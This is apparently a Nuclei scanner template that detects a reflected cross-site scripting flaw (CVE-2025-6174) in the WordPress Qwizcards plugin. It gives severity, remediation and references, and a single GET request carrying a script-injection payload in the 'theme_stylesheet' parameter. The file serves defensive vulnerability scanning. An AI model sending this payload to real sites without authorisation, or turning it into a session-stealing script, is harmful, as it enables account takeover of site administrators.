id: CVE-2025-6174

info:
  name: WordPress Qwizcards < 3.95 - Cross-Site Scripting (Reflected)
  author: 0x_Akoko
  severity: medium
  description: |
    The WordPress Qwizcards plugin before version 3.95 does not sanitise and escape the "theme_stylesheet" parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting vulnerability.
  impact: |
    Attackers can execute scripts in the context of high privilege users, potentially leading to account compromise or session hijacking.
  remediation: |
    Update to the latest version beyond 3.9.4.
  reference:
    - https://wpscan.com/vulnerability/ff827f67-712e-4ab6-b6aa-7f5e6ff1283a/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6174
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-6174
    epss-score: 0.0046
    epss-percentile: 0.37589
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,qwizcards,wordpress,wp-plugin,xss,unauth,vkev

variables:
  randstr: "{{rand_base(8)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/qwiz-online-quizzes-and-flashcards/qwiz_admin_sample_buttons.php?theme_stylesheet=\"><script>alert('{{randstr}}')</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert('{{randstr}}')</script>"
          - "rel=\"stylesheet\""
          - "qwiz_button"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402205f5220b51e8bc938bdab5556f98463ab08e8b2b85d3c059373d1fc02a52add6e0220085a556cfb13b0575fc08575206fa2c729d192d4de8528a22f1c2ff84a14f7e2:922c64590222798bb761d5b6d8e72950